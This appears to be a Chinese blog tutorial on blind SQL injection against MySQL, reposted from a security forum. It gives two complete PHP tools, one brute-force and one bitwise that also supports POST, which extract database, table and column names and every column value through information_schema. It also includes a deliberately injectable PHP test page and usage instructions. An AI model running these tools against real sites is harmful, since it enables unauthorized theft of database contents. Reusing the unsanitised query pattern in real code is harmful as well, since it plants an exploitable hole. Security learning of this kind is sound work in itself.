让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询

  

前言

由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补。兜兜转转到了SQL盲注部分,然后在SQL盲注上面下了不少功夫,因为最初没有怎么去理解它,都是拿着sqlmap一顿梭。原谅我非要把我的学习过程写下来,取工具翻到最下最下最下就OK了。hhh。

information_schema图

看什么看,这就是一张图片

因为SQL盲注时注入数据会常用到information_schema库,所以自己总结成一张图片大家也抽空记忆一下

SQL盲注简单又”复杂”的方法

针对于SQL盲注我们不会像联合注入一样非常轻松,有时需要burpsuite进行爆破,有时我们需要安装sqlmap(没有sqlmap我玩个寂寞啊),而有时结构复杂我们又非得自己写工具,所以我们先看看关于SQL盲注的一些方法吧。

对于Mysql的内置函数,如database()等函数还是比较容易的。

在页面返回true或false的情况下我们可以通过逻辑与运算,来进行判断database()函数的长度,例如and length((select database()))=1、and length((select database()))=2、and length((select database()))=3...直到页面返回true。随后可以借助mid/substr字符串截取函数来进行一个一个字符的猜解。例如:and substr(database(),1,1)=’r’。那么当我们要进行获取数据库内的信息时,我们需要借助information_schema库。但针对于SQL盲注来讲,information_schema库我们如果手工的话,可能这个夏天要过去了吧。

首先这里先了解一下盲注information_schema库是怎么个玩法,再来编写脚本。

我们要知道information_schema.schemata的schema_name有几条(总共有几个数据库?),还要通过schema_name的条数来通过limit来对每一条的长度进行计算(我要得到的信息有几位字母/数?),然后我们通过字符的长度来通过substr截取出来然后判断每一个字符是什么(我要得到的信息是什么?)。好了,你成功的得到了一条数据。

我们的算法就是非常简单,就是一个一个试,试一年,拿一个字符是一个字符,拿一条数据库信息就是赚到,安全就是这么勤奋且有趣

针对于SQL盲注简单又”复杂”的方法的PHP脚本编写


        SQL盲注工具-.-By:T00ls

       

ini_set('max_execution_time',0);

$dbname = isset($_GET['dbname']) ? $_GET['dbname'] : '';

$tablename = isset($_GET['tablename']) ? $_GET['tablename'] : '';

$columnname = isset($_GET['columnname']) ? $_GET['columnname'] : '';

$_az = range('a','z');

$_AZ = range('A','Z');

$_19 = range('1','9');

$_other = array('@','_','.','%','/');

$_sum = array_merge($_az,$_AZ,$_19,$_other);

$sqlUrl = 'http://www.phptest.com/6.php?id=1';

$okContent = file_get_contents($sqlUrl);

if(!$dbname){

        $DBCount = 1;

        while(true){//获取count

                $InjectionStatement = '+and+(select+count(schema_name)+from+information_schema.schemata)='.$DBCount.'+--+';

                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);

                if($DBTesting == $okContent){

                        break;

                }else{

                        $DBCount ++;

                }

        }

        $DBLengthArr = array();

        for($i = 0; $i < $DBCount; $i++){

                $TempNum = 1;

                while(true){

                        $InjectionStatement = '+and+length((select+schema_name+from+information_schema.schemata+limit+'.$i.',1))='.$TempNum.'+--+';

                        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);

                        if($DBTesting == $okContent){

                                $DBLengthArr[$i] = $TempNum;

                                break;

                        }else{

                                $TempNum ++;

                        }

                }

        }

        $DBNameArr = array();

        foreach ($DBLengthArr as $Llimit => $dblength) {

                for ($i=1; $i <= $dblength; $i++) {

                        foreach ($_sum as $key => $value) {

                                $InjectionStatement = '+and+mid((select+schema_name+from+information_schema.schemata+limit+'.$Llimit.',1),'.$i.',1)="'.$value.'"'.'+--+';

                                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);

                                if($DBTesting == $okContent){

                                        $DBNameArr[$Llimit] .= $value;

                                        break;

                                }

                        }

                }


        }

        $DBName = implode('
',$DBNameArr);

        die('盲注完成,当前数据库名称有:
'.$DBName);

}else{

        $InjectionStatement = '+and+find_in_set("'.$dbname.'",(SELECT+group_concat(schema_name,",")+FROM+information_schema.schemata+where+schema_name="'.$dbname.'"))'.'+--+';

        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);

        if($DBTesting <> $okContent){

                die($dbname.'数据库不存在,请重新复制粘贴,谢谢');

        }

}

if(!$tablename){

        $TBcountFlag = false;

        $TBlength = 1;

        while(true){

                $InjectionStatement = '+and+(SELECT+count(*)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'")='.$TBlength.'+--+';

                if(file_get_contents($sqlUrl.$InjectionStatement) == $okContent){

                        break;

                }else{

                        $TBlength ++;

                }

        }

        $TBNameArr = array();

        $TBSubArr = array();

        for($i = 1; $i <= $TBlength; $i++){

                $TBFlag = 1;

                while(true){

                        $InjectionStatement = '+and+(SELECT+length(table_name)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'"+limit+'.($i-1).',1)='.$TBFlag.'+--+';

                        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);

                        if($DBTesting == $okContent){

                                $TBSubArr[$i-1] .= $TBFlag;

                                break;

                        }else{

                                $TBFlag ++;

                        }

                }       

        }

        foreach ($TBSubArr as $k => $v) {

                for($j = 1; $j <= $v; $j++){

                        foreach ($_sum as $key => $value) {

                                $InjectionStatement = '+and+mid((SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'"+limit+'.$k.',1),'.$j.',1)="'.$value.'"'.'+--+';

                                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);

                                if($DBTesting == $okContent){

                                        $TBNameArr[$k] .= $value;

                                        break;

                                }

                        }

                }

        }

        $TBstring = implode('
',$TBNameArr);

        die('盲注完成,数据库'.$dbname.'所拥有的表:
'.$TBstring);

}else{

        $InjectionStatement = '+and+find_in_set("'.$tablename.'",(SELECT+group_concat(table_name,",")+FROM+information_schema.tables+where+table_name="'.$tablename.'"+and+table_schema=+"'.$dbname.'"))'.'+--+';

        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);

        if($DBTesting <> $okContent){

                die($tablename.'表不存在,请重新复制粘贴,谢谢');

        }

}

if(!$columnname){

        $ColumnCount = 1;

        while(true){

                $InjectionStatement = '+and+(select+count(column_name)+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'")='.$ColumnCount.'+--+';

                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);

                if($DBTesting == $okContent){

                        break;

                }else{

                        $ColumnCount ++;

                }

        }

        $EveryColumnCountArr = array();

        for ($i=0; $i < $ColumnCount; $i++) {

                $EveryColumnCount = 1;

                while (true) {

                        $InjectionStatement = '+and+length((select+column_name+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'"+limit+'.$i.',1))='.$EveryColumnCount.'+--+';

                        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);

                        if($DBTesting == $okContent){

                                $EveryColumnCountArr[$i] = $EveryColumnCount;

                                break;

                        }else{

                                $EveryColumnCount ++;

                        }

                }

        }

        $CMNameArr = array();

        foreach ($EveryColumnCountArr as $k => $v) {

                for($j = 1; $j <= $v; $j++){

                        foreach ($_sum as $key => $value) {

                                $InjectionStatement = '+and+mid((select+column_name+from+information_schema.columns+where+table_name="'.$tablename.'"+and+table_schema="'.$dbname.'"+limit+'.$k.',1),'.$j.',1)="'.$value.'"'.'+--+';

                                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);

                                if($DBTesting == $okContent){

                                        $CMNameArr[$k] .= $value;

                                        break;

                                }

                        }

                }

        }

        $CMstring = implode('
',$CMNameArr);

        die('盲注完成,数据库'.$dbname.'中'.$tablename.'表所拥有的字段:
'.$CMstring);

}

if($dbname && $tablename && $columnname){

        $strLen = 0;

        $columnTrueCount = '';

        $columnname = explode(',', $columnname);

        $columnCount = 1;

        while (true) {

                $InjectionStatement = '+and+(select+count('.$columnname[0].')+from+'.$dbname.'.'.$tablename.')='.$columnCount.'+--+';

                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);

                if($DBTesting == $okContent){

                        $columnTrueCount = $columnCount;

                        break;

                }else{

                        $columnCount ++;

                }

        }

        $columnLength = array();

        foreach ($columnname as $key => $value) {

                for ($i=0; $i < $columnTrueCount; $i++) {

                        $flagLength = 1;

                        while (true) {

                                $InjectionStatement = '+and+length((select+'.$value.'+from+'.$dbname.'.'.$tablename.'+limit+'.$i.',1))="'.$flagLength.'"'.'+--+';

                                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);

                                if($DBTesting == $okContent){

                                        $columnLength[$i][$value] = $flagLength;

                                        break;

                                }else{

                                        $flagLength ++;

                                }

                        }

                }

        }

        $ColumnContent = array();

        foreach ($columnLength as $lTrim => $lTrimValue) {

                foreach ($lTrimValue as $columnNames => $columnNamesLength) {

                        for ($i=1; $i <= $columnNamesLength; $i++) {

                                foreach ($_sum as $key => $value) {

                                        $InjectionStatement = '+and+mid((select+'.$columnNames.'+from+'.$dbname.'.'.$tablename.'+limit+'.$lTrim.',1),'.$i.',1)="'.$value.'"'.'+--+';

                                        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);

                                        if($DBTesting == $okContent){

                                                $ColumnContent[$lTrim][$columnNames] .= $value;

                                                break;

                                        }

                                }

                        }

                }

        }

}

?>

       

       

                $v):?>

                       

               

       

        $v):?>

               

                        $value):?>

                               

                       

               

       

归根到底,复习还是复习,虽然算法比较简单明了,也是需要尝试一遍,花了一些时间实现了0x02所说的编写思路,吐槽一下,代码还是要天天写,很久没写确实写法都不一样了,上述代码是完全通过面向过程编写,都没有封装方法,导致我只实现了get请求的获取方式。

然后找一处SQL盲注的页面:

$mysqli = new mysqli('localhost','root','root','选择的数据库',3306);

if($mysqli -> connect_error){

        die($mysqli -> connect_errno);

}

$mysqli -> set_charset('utf8');

$sql = "SELECT * FROM `user` WHERE id={$_REQUEST['id']}";

//echo $_REQUEST['id'];

$res = $mysqli -> query($sql);

if($res){

        $row = $res->fetch_assoc();

        if($row){

                echo 'yes';

        }else{

                echo 'no';

        }

}else{

        echo 'SQL语句错误'.$sql;

}

使用说明书:

1.在21行中填写我们要盲注的站点(注入类型必须为数字型)

2.在什么都不知道的情况下访问一下该页面。

可以看到完全一一对应

3.添加参数?dbname=要选择查询的数据库

4.紧接着传入参数tablename=要选择查询的表

5.传入参数columnname=字段1,字段2....

通过Mysql位运算来优化访问频率

我们当然知道上面工具的执行效率,一个字,低!!!然而我们会想到二分法等算法来优化我们的代码。但是这里给大家介绍的是Mysql位运算。

我们知道二分法是通过ascii码来进行取大取小的,想到ascii码就有趣了。如图:字符a的ASCII码值为97

那么我们看一下它的二进制

是1100001一共七位字符串,因为ASCII码值1-127,十转二进制255为最大,所以这里不会出现八位的情况。

那么我们通过substr/mid函数来依次截取二进制的第一位、二进制的第二位、.....、二进制的第七位依次对1进行位运算中的与运算。

与运算图:

然后通过与运算我们就可以获取到数据的真正二进制数值,下面我们简单获取一下r字符的二进制码。

将每次的结果进行拼接,可以得到r字母的ASCII值的二进制数。

那么我们进行二进制转换为10进制,ASCII码转字符,即可知道数据的第一位是什么。

数据表中的每一位字符只需要七次就可以完成,比第一种方式快了许多许多。

那么我们这里要注意的是,mysql的bin函数结果不够八位前面是没有0字符的,因为我编写脚本踩了坑,导致我盲注了一些非常古怪的字符。。。

我们通过mysql的lpad函数来进行前面补零,如图:

还要注意的是数字类型返回六位二进制,如图:

还好MySQL提供了补零函数,不然自己搞起来是真的麻烦。

整个逻辑搞清楚开始编写位运算盲注代码

 Mysql位运算盲注代码

这里为了不犯面向过程的错误,封装了几个方法,并且加入了POST请求盲注方式

代码如下:

        SQL盲注工具-.-By:T00ls

       

ini_set('max_execution_time',0);

$dbname = isset($_GET['dbname']) ? $_GET['dbname'] : '';

$tablename = isset($_GET['tablename']) ? $_GET['tablename'] : '';

$columnname = isset($_GET['columnname']) ? $_GET['columnname'] : '';

$method = isset($_GET['method']) ? $_GET['method'] : 'get';

$InjectionUrl = 'http://www.phptest.com/6.php?id=1';        /* 如果遇到字符型SQL注入请在id前面添加单引号闭合 !!!*/

if($method == 'post'){

        $data = array(

                'id'        =>        '1{\'_T00ls_}',        /* {XXX_T00ls_} 如果遇到字符串型SQL注入,请将XXX部分改为单引号自行闭合 !!!*/

                'pass'        =>        'admin888'

        );

        $okContentData = $data;

        function sendValue($sql){

                global $data,$InjectionUrl;

                $tempData = $data;

                foreach ($tempData as $key => $value) {

                        preg_match('/\{.*?_T00ls_\}/', $value,$match);

                        if($match[0]){

                                $tempData[$key] = str_replace('_T00ls_', $sql, $value).' -- \\';

                                $tempData[$key] = str_replace('{', '', $tempData[$key]);

                                $tempData[$key] = str_replace('}', '', $tempData[$key]);

                                //echo $tempData[$key].'
';

                        }

                }

                $requestBody = http_build_query($tempData);

                $option = array(

                        'http'        =>        array(

                                'method'        =>        'POST',

                                'header'        =>        "Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($requestBody),

                                'content'        =>        $requestBody

                        )

                );

                $context = stream_context_create($option);

                $response = file_get_contents($InjectionUrl,false,$context);

                return $response;

        }

        foreach ($okContentData as $key => $value) {

                preg_match('/\{.*?_T00ls_\}/', $value,$okmatch);

                if($okmatch[0]){

                        $okContentData[$key] = str_replace($okmatch[0], '', $value);

                }

        }

        $ok_requestBody = http_build_query($okContentData);

        $ok_option = array(

                'http'        =>        array(

                        'method'        =>        'POST',

                        'header'        =>        "Content-type: application/x-www-form-urlencoded\r\n"."Content-Length: " . mb_strlen($ok_requestBody),

                        'content'        =>        $ok_requestBody

                )

        );

        $ok_context = stream_context_create($ok_option);

        $okContent = file_get_contents($InjectionUrl,false,$ok_context);

        //echo $okContent;exit;

}else{

        function sendValue($sql){

                global $InjectionUrl;

                $Url = $InjectionUrl.$sql.' -- \\';

                $result = file_get_contents($Url);

                return $result;

        }

        $okContent = file_get_contents($InjectionUrl.'+--+');

}

if(!$dbname){

        $DBCount = 1;

        while(true){

                $InjectionStatement = ' and (SELECT count(SCHEMA_NAME) FROM information_schema.schemata)='.$DBCount;

                if(sendValue($InjectionStatement) == $okContent){

                        break;

                }else{

                        $DBCount ++;

                }

        }

        $DBEveryLength = array();

        for ($limit=0; $limit < $DBCount; $limit++) {

                $DBLength = 0;

                while(true){

                        $InjectionStatement = " and length((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1))={$DBLength}";

                        if(sendValue($InjectionStatement) == $okContent){

                                break;

                        }else{

                                $DBLength ++;

                        }

                }

                $DBEveryLength[] = $DBLength;

        }

        $DBEveryString = array();

        foreach ($DBEveryLength as $limit => $maxLength) {

                for($substr = 1; $substr <= $maxLength; $substr++){

                        $str = '0';

                        for ($count=1; $count <= 7; $count++) {

                                /*$InjectionStatement = " and substr(bin(ord(substr((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1),{$substr},1))),{$count},1)%261";*/

                                $InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT SCHEMA_NAME FROM information_schema.schemata limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";

                                if(sendValue($InjectionStatement) == $okContent){

                                        $str .= 1;

                                }else{

                                        $str .= 0;

                                }

                        }

                        $DBEveryString[$limit] .= chr(bindec($str));

                }

        }

        $DBName = implode('
',$DBEveryString);

        die('盲注完成,当前数据库名称有:
'.$DBName);

}

if(!$tablename){

        $tableCount = 1;

        while(true){

                $InjectionStatement = " and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='{$dbname}')={$tableCount}";

                if(sendValue($InjectionStatement) == $okContent){

                        break;

                }else{

                        $tableCount ++;

                }

        }

        $tableLengthArr = array();

        for ($limit=0; $limit < $tableCount; $limit++) {

                $tableLength = 0;

                while (true) {

                        $InjectionStatement = " and length((SELECT table_name FROM information_schema.tables WHERE table_schema='{$dbname}' limit {$limit},1))={$tableLength}";

                        if(sendValue($InjectionStatement) == $okContent){

                                break;

                        }else{

                                $tableLength ++;

                        }

                }

                $tableLengthArr[] = $tableLength;

        }

        $TBEveryString = array();

        foreach ($tableLengthArr as $limit => $max_length) {

                for ($substr = 1; $substr <= $max_length; $substr++) {

                        $str = '0';

                        for ($count = 1; $count <= 7; $count++) {

                                $InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='{$dbname}' limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";

                                if(sendValue($InjectionStatement) == $okContent){

                                        $str .= 1;

                                }else{

                                        $str .= 0;

                                }

                        }

                        $TBEveryString[$limit] .= chr(bindec($str));

                }

        }

        $TBName = implode('
',$TBEveryString);

        die("盲注完成,当前{$dbname}数据库名称有:
".$TBName);

}

if(!$columnname){

        $columnCount = 1;

        while(true){

                $InjectionStatement = " and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema='{$dbname}' AND table_name='{$tablename}')={$columnCount}";

                if(sendValue($InjectionStatement) == $okContent){

                        break;

                }else{

                        $columnCount ++;

                }

        }

        $columnLengthArr = array();

        for ($limit=0; $limit < $columnCount; $limit++) {

                $columnLength = 0;

                while (true) {

                        $InjectionStatement = " and length((SELECT column_name FROM information_schema.columns WHERE table_schema='{$dbname}' AND table_name='{$tablename}' limit {$limit},1))={$columnLength}";

                        if(sendValue($InjectionStatement) == $okContent){

                                break;

                        }else{

                                $columnLength ++;

                        }

                }

                $columnLengthArr[] = $columnLength;

        }


        $CNEveryString = array();

        foreach ($columnLengthArr as $limit => $max_length) {

                for ($substr = 1; $substr <= $max_length; $substr++) {

                        $str = '0';

                        for ($count = 1; $count <= 7; $count++) {

                                $InjectionStatement = " and substr(lpad(bin(ord(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='{$dbname}' and table_name='{$tablename}' limit {$limit},1),{$substr},1))),7,0),{$count},1)%261";

                                if(sendValue($InjectionStatement) == $okContent){

                                        $str .= 1;

                                }else{

                                        $str .= 0;

                                }

                        }

                        $CNEveryString[$limit] .= chr(bindec($str));

                }

        }

        $CNName = implode('
',$CNEveryString);

        die("盲注完成,当前{$dbname}数据库{$tablename}表名称有:
".$CNName);

}

if($dbname && $tablename && $columnname){

        $strLen = 0;

        $columnTrueCount = '';

        $columnname = explode(',', $columnname);

        $columnCount = 1;

        while (true) {

                $InjectionStatement = ' and (select count('.$columnname[0].') from '.$dbname.'.'.$tablename.')='.$columnCount;

                if(sendValue($InjectionStatement) == $okContent){

                        $columnTrueCount = $columnCount;

                        break;

                }else{

                        $columnCount ++;

                }

        }

        $columnLength = array();

        foreach ($columnname as $key => $value) {

                for ($i=0; $i < $columnTrueCount; $i++) {

                        $flagLength = 1;

                        while (true) {

                                $InjectionStatement = ' and length((select '.$value.' from '.$dbname.'.'.$tablename.' limit '.$i.',1))="'.$flagLength.'"';

                                if(sendValue($InjectionStatement) == $okContent){

                                        $columnLength[$i][$value] = $flagLength;

                                        break;

                                }else{

                                        $flagLength ++;

                                }

                        }

                }

        }

        $ColumnContent = array();

        foreach ($columnLength as $lTrim => $lTrimValue) {

                foreach ($lTrimValue as $columnNames => $columnNamesLength) {

                        for ($i=1; $i <= $columnNamesLength; $i++) {

                                $str = 0;

                                for ($k=1; $k <= 7; $k++) {

                                        $InjectionStatement = " and substr(lpad(bin(ord(mid((SELECT {$columnNames} FROM {$dbname}.{$tablename} limit {$lTrim},1),{$i},1))),7,0),{$k},1)%261";

                                        if(sendValue($InjectionStatement) == $okContent){

                                                $str .= 1;

                                        }else{

                                                $str .= 0;

                                        }

                                }

                                $ColumnContent[$lTrim][$columnNames] .= chr(bindec($str));

                        }

                }

        }

}

?>

       

       

                $v):?>

                       

               

       

        $v):?>

               

                        $value):?>

                               

                       

               

       

使用说明书:

1.还是之前的?dbname&tablename&columnname来进行获取数据

2.添加?method=get/post来表明通过哪种方式盲注,如图:

3.若要进行POST请求请在19-20行设置字段,如图:

4.GET请求如果遇到字符串类型也需要自行闭合单引号,如图:

工具使用注意事项

因为工具由PHP编写,而SQL盲注属于较大的工程,比较耗时间,PHP容器有时可能会报503超时错误,我们需要在nginx.conf文件中添加如下配置项

fastcgi_connect_timeout 300;

fastcgi_send_timeout 300;

fastcgi_read_timeout 300;

 尾巴

顶个帖子,谢谢阅读完,想看更多内容请到主页观看!!!


白嫖怪的福音来了

免费领取价值11980安全学习资料包

你可能感兴趣的:(让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询)